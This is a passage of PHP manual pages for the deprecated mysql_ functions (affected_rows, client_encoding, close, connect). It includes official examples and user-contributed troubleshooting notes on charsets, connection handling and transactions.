To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
skelley at diff dot nl 25-Sep-2001 11:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net 29-Jul-2001 04:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
mw-php at ender dot com 22-Jun-2001 06:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.


Get number of affected rows in previous MySQL operation

  • « MySQL Functions
  • mysql_client_encoding »
  • PHP Manual
  • MySQL Functions
  • Get number of affected rows in previous MySQL operation

mysql_affected_rows

(PHP 4, PHP 5)

mysql_affected_rows — Get number of affected rows in previous MySQL operation

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_affected_rows()
  • PDOStatement::rowCount()

Description

int mysql_affected_rows ([ resource $link_identifier = NULL ] )

Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE query associated with link_identifier.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the number of affected rows on success, and -1 if the last query failed.

If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero with MySQL versions prior to 4.1.2.

When using UPDATE, MySQL will not update columns where the new value is the same as the old value. This creates the possibility that mysql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query.

The REPLACE statement first deletes the record with the same primary key and then inserts the new record. This function returns the number of deleted records plus the number of inserted records.

In the case of "INSERT ... ON DUPLICATE KEY UPDATE" queries, the return value will be 1 if an insert was performed, or 2 for an update of an existing row.

Examples

Example #1 mysql_affected_rows() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* this should return the correct numbers of deleted records */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Records deleted: %d\n", mysql_affected_rows());

/* with a where clause that is never true, it should return 0 */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Records deleted: %d\n", mysql_affected_rows());
?>

The above example will output something similar to:

Records deleted: 10
Records deleted: 0

Example #2 mysql_affected_rows() example using transactions

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* Update records */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Updated records: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

The above example will output something similar to:

Updated Records: 10

Notes

Note: Transactions

If you are using transactions, you need to call mysql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the COMMIT.

Note: SELECT Statements

To retrieve the number of rows returned by a SELECT, it is possible to use mysql_num_rows().

Note: Cascaded Foreign Keys

mysql_affected_rows() does not count rows affected implicitly through the use of ON DELETE CASCADE and/or ON UPDATE CASCADE in foreign key constraints.

See Also

  • mysql_num_rows() - Get number of rows in result
  • mysql_info() - Get information about the most recent query

User Contributed Notes

cbal at freemail dot hu 07-Feb-2012 10:21
I dont know why but sometimes mysql_affected_rows does not work (return 0 or nothing) besides the query worked well.
So use this if you have a problem:

<?php
$result = mysql_query("update/delete ...");
$last = mysql_query("SELECT ROW_COUNT();");
$last = mysql_fetch_array($last);
?>
Ome Ko 28-Jun-2011 10:10
There are no rows affected by an update with identical data.
So here is one very ugly solution for these cases:
<?
function mysql_matched_rows() {
   $_kaBoom=explode(' ',mysql_info());
   return $_kaBoom[2];
}
?>
PaulD 08-Nov-2009 05:35
Just a note: [you should] check for a mysql_affected_rows() return value of -1. If a series of queries were run as a transaction and one query failed, the logic in the foreach loop of the transaction() method in class MySQLDB will not issue a ROLLBACK. It may also be slightly more efficient to stop processing queries on the first failure.
sean at adtools dot co dot uk 09-Sep-2008 10:48
Here's a little function I've been using for a while now, pass it two parameters (action command (1 or 0 see notes)) and a sql statement.

It returns a simple line which shows the length of time taken to action the query, the status of the query (0= query not actioned, you can set this value for testing, 1=success qry executed successfully, -1= failed, there was a problem with the sql statement) the number of lines affected by that query and the sql statement itself.

I've found this invaluable when trying to tie down large amounts of updates to a table, using this you can easily see where a query was successfully executed and the number of rows are affected, or where there are problems and a statement has failed for example.

<?php
function dosql($action,$sql){
  # assuming you have setup a link to your database entitled $link
  # action = 1 run this query
  # action = 0 don't run, just return sql statement

  $start = getmtime();

  if($action==1){
    $result = mysql_query($sql);
    $affectedrows = "[".mysql_affected_rows($link)."]";
  }
  return "[".number_format((getmtime()-$start),3)."][$action]: $sql\n";
  mysql_free_result($result);
}
?>

Example output:
[0.072][1][80]: UPDATE MYTABLE SET FIELD = 1;
[0.106][1][758]: UPDATE ANOTHERTABLE SET FIELD = 2;
[0.006][-1][0]: UPDATER ANOTHERTABLE SET FIELD = 2;

The output shows:

[Timetaken][result]][lines affected]

The result will be either -1, 0 or 1, -1 means there's a problem with the sql statement, 1 means it executed correctly, 0 means it wasn't executed.
EToS 09-Aug-2007 10:57
i found a pretty nice way, this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

<?php
class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
         $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
?>
HMax 02-Jul-2007 12:21
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count.
dobrys at abv dot bg 28-May-2007 11:35
I see that when try to use mysql_affected_rows() with "mysql_pconnect(...)" without link indetifier as param in "mysql_affected_rows()" the result is allways -1.
When use link identifier "mysql_affected_rows($this_sql_connection)" - everything is Fine. This is is on PHP Version 5.2.0
Hope that this was helpfull for somebody
temp02 at flexis dot com dot br 29-Jun-2005 02:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
steffen at showsource dot dk 28-Sep-2004 12:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
deponti A_T tiscalinet D0T it 07-Nov-2003 01:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)


Returns the name of the character set

  • « mysql_affected_rows
  • mysql_close »
  • PHP Manual
  • MySQL Functions
  • Returns the name of the character set

mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding — Returns the name of the character set

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_character_set_name()

Description

string mysql_client_encoding ([ resource $link_identifier = NULL ] )

Retrieves the character_set variable from MySQL.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the default character set name for the current connection.

Examples

Example #1 mysql_client_encoding() example

<?php
$link    = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);

echo "The current character set is: $charset\n";
?>

The above example will output something similar to:

The current character set is: latin1

See Also

  • mysql_set_charset() - Sets the client character set
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement

User Contributed Notes

devos at montp dot inserm dot fr 23-Aug-2007 12:30
I use mysql 3.23 and none of the above worked for me. Looking at http://dev.mysql.com/tech-resources/articles/4.1/unicode.html as advised by romain at dardour dot com, I tried to include the following header in my php scripts, and all the funy characters disapeared. Hope it will help.

<?php header("Content-type: text/html; charset=latin1");?>

(my mysql character was latin1)
php at quarkus dot de 25-Jul-2007 03:23
Please note that even if you set the charset by issuing the two mentioned SQL statements (set names, set character set) mysql_client_encoding still deliveres the old result.

Default for me is latin1. After switching to UTF8 mysql_client_encoding still returns latin1. The charset switched to UTF8 successfully, though.
roy dot the dot geek+php at gmail dot com 23-Jan-2007 02:37
f you think "set names utf8" for each connection is too trouble, you can modify my.cnf of MySQL to solve the problem forever. In my.cnf, add the line "default-character-set=utf8" in both [mysqld] and [client] sections:

[client]
default-character-set=utf8

[mysqld]
default-character-set=utf8

The MySQL will use utf8 after you restart it.
Pedro Pereira 09-Sep-2006 04:30
All I had to do to save utf8 data with php mysql_query() was to go to the php.ini and put default_charset = "utf-8". Without this I had the same problems some of you have. Plus, all my mysql charsets vars are in 'utf8'. (Changed them with Mysql Admin Tool)

Didnt use any mysql SET **** command at all.

Mysql 4.1.20
PHP 4.4.4
Win XP

Hope this help some of you.
alamakota at mises dot pl 26-Jul-2006 04:13
There's no 'character_set' variable available in MySQL. You can check it yourself in MySQL online documentation or by running MySQL query "SHOW VARIABLES LIKE 'character_set%';".
This must be an error in PHP manual, unless I'm missing something.
21-Jul-2006 02:46
A very easy way to always get results in UTF-8 is to make a common function to connect to DB and in that function set character set to utf-8.

function OpenConn() {
  global $link;
  $link = mysql_connect ("localhost", "username", "password")
      or die(sendError('Could not connect to DB'));
  mysql_select_db ("dbName");
  //
  // Set character set to UTF-8
  //
  mysql_query("SET CHARACTER SET 'utf8'", $link);
}
romain at dardour dot com 15-May-2006 05:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com 21-Apr-2006 01:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de 16-Mar-2006 06:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik 27-Nov-2005 06:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz 30-Dec-2004 11:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org 20-Oct-2004 01:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net 19-Oct-2004 03:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...


Close MySQL connection

  • « mysql_client_encoding
  • mysql_connect »
  • PHP Manual
  • MySQL Functions
  • Close MySQL connection

mysql_close

(PHP 4, PHP 5)

mysql_close — Close MySQL connection

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_close()
  • PDO: Assign the value of NULL to the PDO object

Description

bool mysql_close ([ resource $link_identifier = NULL ] )

mysql_close() closes the non-persistent connection to the MySQL server that's associated with the specified link identifier. If link_identifier isn't specified, the last opened link is used.

Using mysql_close() isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution. See also freeing resources.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_close() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

The above example will output:

Connected successfully

Notes

Note:

mysql_close() will not close persistent links created by mysql_pconnect().

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_free_result() - Free result memory

User Contributed Notes

omega99999 at gmail dot com 20-Feb-2011 10:44
The variable is definitely not optional in 5.3... Caused me a bit of a headache when I was debugging until I realized it was the close function that was causing a hang. So if using just:

<?php
mysql_connect(<...>);

mysql_close();
?>

Use:

<?php
$connection = mysql_connect(<...>);

mysql_close($connection);
?>

(where $connection is any variable of your choice)
mdes[SPAM]saintes at gmail dot com 09-Jul-2010 06:12
i just came over a problem that i had with apache.

It crashs and said :

"Parent: child process exited with status 3221225477 -- Restarting."

the error came from the extesion php_mysql.dll

i didn't understand what was the reason of that crash..

Then, i debug the script that i had downloaded and i noticed that that was the function mysql_close() which caused the problem.

The solution is, to send to it the link identifier which is optionnal in the description but cause a crash with no commentary.

Thanks to agneady.
Anonymous 23-Apr-2010 11:26
At least with PHP5.3.2 and Windows connecting by tcp, you should always use this mysql_close() function to close and free up the tcp socket being used by PHP.  Garbage collection after script execution does not close the tcp socket on its own.  The socket would otherwise remain in 'wait' state for approximately 30 seconds, and any additional page loads/connection attempts would only add to the total number of open tcp connections.  This wait time does not appear to be configurable via PHP settings.
bbodelcampo at yahoo dot co dot uk 13-Dec-2005 02:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

<?php
// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
// ...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
// ...
?>

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
levi at alliancesoftware dot com dot au 29-Apr-2005 09:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
    - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
    - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:

<?php
function dothings() {
  $link = mysql_open(...);
  // .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>

this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com 03-Dec-2004 10:26
Be careful when using multiple links to connect to same database (with same username). Unless you specify explicitly in mysql_connect() to create a new link, it will return an already open link. If that would be closed by mysql_close(), it will also (obviously) close the other connection, since the link is the same.
Had lot of trouble figuring it out, since in <=4.3.6 there was a bug which didn't close the connection, but after the patch to >=4.3.7, all my application broke down because of a single script that did this.


Open a connection to a MySQL Server

  • « mysql_close
  • mysql_create_db »
  • PHP Manual
  • MySQL Functions
  • Open a connection to a MySQL Server

mysql_connect

(PHP 4, PHP 5)

mysql_connect — Open a connection to a MySQL Server

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_connect()
  • PDO::__construct()

Description

resource mysql_connect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, bool $new_link = false [, int $client_flags = 0 ]]]]] )

Opens or reuses a connection to a MySQL server.

Parameters

server

The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost.

If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306'. In SQL safe mode, this parameter is ignored and value 'localhost:3306' is always used.

username

The username. Default value is defined by mysql.default_user. In SQL safe mode, this parameter is ignored and the name of the user that owns the server process is used.

password

The password. Default value is defined by mysql.default_password. In SQL safe mode, this parameter is ignored and empty password is used.

new_link

If a second call is made to mysql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The new_link parameter modifies this behavior and makes mysql_connect() always open a new link, even if mysql_connect() was called before with the same parameters. In SQL safe mode, this parameter is ignored.

client_flags

The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE. Read the section about MySQL client constants for further information. In SQL safe mode, this parameter is ignored.

Return Values

Returns a MySQL link identifier on success or FALSE on failure.

Changelog

Version | Description
5.5.0 | This function will generate an E_DEPRECATED error.

Examples

Example #1 mysql_connect() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #2 mysql_connect() example using hostname:port syntax

<?php
// we connect to example.com and port 3307
$link = mysql_connect('example.com:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// we connect to localhost at port 3307
$link = mysql_connect('127.0.0.1:3307', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Example #3 mysql_connect() example using ":/path/to/socket" syntax

<?php
// we connect to localhost and socket e.g. /tmp/mysql.sock

// variant 1: omit localhost
$link = mysql_connect(':/tmp/mysql', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);

// variant 2: with localhost
$link = mysql_connect('localhost:/tmp/mysql.sock', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?>

Notes

Note:

Whenever you specify "localhost" or "localhost:port" as server, the MySQL client library will override this and try to connect to a local socket (named pipe on Windows). If you want to use TCP/IP, use "127.0.0.1" instead of "localhost". If the MySQL client library tries to connect to the wrong local socket, you should set the correct path as in your PHP configuration and leave the server field blank.

Note:

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mysql_close().

Note:

You can suppress the error message on failure by prepending a @ to the function name.

Note:

Error "Can't create TCP/IP socket (10106)" usually means that the variables_order configure directive doesn't contain character E. On Windows, if the environment is not copied the SYSTEMROOT environment variable won't be available and PHP will have problems loading Winsock.

See Also

  • mysql_pconnect() - Open a persistent connection to a MySQL server
  • mysql_close() - Close MySQL connection

User Contributed Notes

pepik at gmail dot cz 19-Jun-2013 08:50
<?php
 $server = 'y.com';
 $login='x';
 $pass='x';
 $db='x';

 $spojeni=mysql_connect($server,$login,$pass) or die ('nelze se pripojit');
 mysql_select_db($db,$spojeni);
 mysql_query("Set names 'utf8'");
?>
yangqingrong at wudimei dot com 18-May-2013 11:17
hello,every one.
  do use "127.0.0.1" instead of "localhost" for php5.4-win7 if you feel the speed is slow.because win7 use ipv6 default.
   "localhost" is for ipv4.

  <?php
   $conn =mysql_connect( "127.0.0.1",
                                       "root",
                                       "pass");
 ?>
trev at dedicate dot co dot uk 08-Aug-2012 01:42
A little note if your scripts sleep a lot, you want to run exactly the same SQL statement 2+ times and you have the "MySQL has gone away" error a lot.

Try setting the 4th parameter to TRUE as it seems sometimes PHP doesn't spot that resource ID x which it used for the last identical lookup is now dud and so tries to use it, thus bypassing tests such as is_resource() and causing a failure.

This is for when mysql_ping() doesn't work for your situation of course.
nicodenboer at yahoo dot com 20-May-2012 10:50
Be carefull here if you use utf8.

The file db.opt of your database should contain the following lines:
default-character-set=utf8
default-collation=utf8_general_ci

It means that your database is created to use the utf8 characterset.
One way to accomplish this is:
CREATE DATABASE my_database DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;

Then, after connecting to it from PHP you should use:
mysql_set_charset("UTF8", $connection);

If you don't do this, you will get ugly problems in case other software is reading and writing to the same database!!!!!!
php at lanar dot com dot au 15-Apr-2012 10:11
After upgrading mysql sever to 5.5.21 from 5.0.9 on centos, my WinXP stopped being able to connect with host with the error message
'Bad Handshake'.

Eventual solution to problem was to remove MYSQL_CLIENT_SSL from the call to mysql_connect().

I will also report this as a bug.
bimal at sanjaal dot com 05-Jun-2011 09:15
Portable connections: If you migrate your source code from one to different servers and you would like to avoid re-configuration on a new serve, user the $_SERVER['SERVER_NAME'] flag as:

<?php
switch($_SERVER['SERVER_NAME'])
{
case 'server1.example.com':
  mysqlconnect('host1', 'user1', 'password1');
  mysql_select_db('db1');
  break;
case 'server2.example.com':
  mysqlconnect('host2', 'user2', 'password2');
  mysql_select_db('db2');
  break;
}
?>

This makes a conditional connection to mysql database. It automatically chooses the correct server according to the server name from where your script runs.

Hopefully, you like this portable configuration.
avinc@live,hk 19-Apr-2011 02:47
My situation: "I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP"

But, PHP only can connect to MySQL using mysql_connect("localhost", "root", "password");

"Its selinux not allowing apache to make remote connections"

Solution:
setsebool -P httpd_can_network_connect=1
Harouk 28-Jan-2011 03:11
If you encounter speed problems using this command to a distant server, you can add the line "skip-name-resolve" in your my.cnf to fix it.
i dot linker at gmail dot com 13-Nov-2010 07:55
MySQL connection string regexp:
~mysql://([^:@/]*):?([^@/]*)@?([^/]*)/?([^/]*)~
tpl99 at yandex dot ru 30-Apr-2010 10:56
Whenever you open two connections to a single database,
you are likely not to get any error when selecting not existing db.

<?php
$db1 = mysql_connect( ... );
mysql_select_db('existing_db',$db1);

$db2 = mysql_connect( ... );
mysql_select_db('not_existing_db', $db2);

mysql_query(... , $db2);
//will return no errors and the query wouldn't be executed.
?>

Pay attention and you may save few hours of debugging.
abelcheung at gmail dot com 17-Mar-2010 07:37
Note that named pipe on Windows is unusable since PHP 5.3, and TCP connection shall be used even in localhost.
sholland at napervillegi dot com 03-Dec-2009 06:18
If you are getting an error "Can't assign requested address" you may have a problem with the mysql port.  I had just moved my server to Mac OS X 10.6 and mysql_connect was giving this error.  Going into the /etc/php.ini file and setting the default port number to 3306 fixed the problem.

mysql.default_port = 3306

The php.ini file suggests that PHP will select the port by using the $MYSQL_TCP_PORT or the mysql-tcp entry in /etc/services, but in this case it is not so.  /etc/services on my machine has 3306 listed, but it didn't get picked up.

This is sort of a bug report, in that the documented feature isn't working.  Please don't delete this until the community decides how to address the problem.  This is one of those hair pulling exercises to get fixed.
david dot schueler at wapkamera dot de 11-Sep-2009 05:51
If you are getting MySQL Errors like #2006: MySQL server has gone away, and you are using mysql_connect() and pcntl_fork() then make shure that you are reconnecting to the mysql server with each created child which you fork()ed.

I pulled my hair out for many days because i was using the same mysql connection for each child and was getting that "MySQL server has gone away" errors.

Here is a simple example:
<?php
$link = mysql_connect($db_server, $db_user, $db_pass);
mysql_select_db($db_database,$link));

$pid = pcntl_fork();
if ($pid == -1)
  // Error forking child
elseif ($pid) {
  // Parent will be here
} else {
  // The child has to esablish a *new* mysql connection.
  // if you use mysql_connect without the 4th parameter
  // then it will use the connection from the parent. But
  // if the child dies, the connection will be unaviable in
  // the parent too.
  // So, note the "true" as 4th parameter.
  $newlink = mysql_connect($db_server, $db_user, $db_pass,true);
  mysql_select_db($db_database,$newlink));
  // ...
}
?>
cory dot mawhorter gmail.com 03-Jul-2009 01:38
Hopefully this saves someone some grief.

My dev computer is windows and runs wampserver.  I have frequent problems with PHP being unable to connect to MySQL after periods of extreme DB activity.

Long story short, it was because I was not running mysql via named-pipes and Windows was running out of available ports to serve PHP.  Apparently, on windows, you have 5000 ports to work with and once they are opened, they remain so for 120 seconds before being released.  This causes problems with mysql/networking because a new port is requested for each connection.

You can read more about the problem at:
(Link too long and had to be broken up)
http://dev.mysql.com/doc/refman/5.0/en
/can-not-connect-to-server.html#can-not-connect-to-server-on-windows
?>

Since mysql is on localhost, I can just enable named-pipes (which is how you should have mysql setup if you don't need networking) to get around the problem instead of the workaround listed on that page.

For details, see:
http://dev.mysql.com/tech-resources
/articles/securing_mysql_windows.html
Contact at LinuxIntro dot com 28-Oct-2008 06:34
When you connect and expect to use a stored procedure,you must pass a special flag to MySQL via the connect command, otherwise you will not get the results returned, and it will result in this error:
PROCEDURE AlexGrim.GetStats_ForumCategories can't return a result set in the given context

To fix this, change you connection string, adding ",false,65536" as the last 2 fields:
$this->con = mysql_connect($this->h,$this->u,$this->p,false,65536);
bmagilavy at avalon-internet dot com 04-Sep-2008 10:00
If you trying to connect to a remote server, here are a few things that can go wrong. Perhaps this list will save someone some time:

1. You may need to get in touch with the remote server's tech support:

 a. to ensure that you can get through its firewall. It is not necessarily enough to have your server number listed in the recipient site's cpanel remote access host list. It depends on how the server company has things set up;

 b. to find out what port number they are using for database connections, which may not be the default used by mysql_connect;

 c. If you are using ODBC, the host to which you are trying to connect may or may not have any ODBC drivers installed; and

 d. If you are working from a dynamic IP, they may be set up to accommodate it, or you may have to use a proxy. See http://forge.mysql.com/wiki/MySQL_Proxy .

2. If you are working from a shared server yourself, the server number you were sent in the sign-up letter is probably NOT the server number you should be using to connect to a remote database. You need the server number of the machine on which your site is sitting, not your virtual account server number on that machine. You can get this from your own tech support.

I am grateful to Jonathan Jones at Bluehost for this analysis.
pascalxusNOSPAM at yahoo dot com 22-Aug-2008 09:08
I just wanted to share a common wrapper that I use for executing one line SQL statements.  Its an easy wrapper to use that takes care of the connection open/close.  Optionally, the mysql_connect can be replaced with mysql_pconnect for persistent connections.

  function executeQuery( $query, $db, $nocon )
  {
      if( $nocon != "nocon" )
        if( $db != "" ) connect( $db );
        else connect( "pascal_crm" );

      $result= mysql_query( $query );
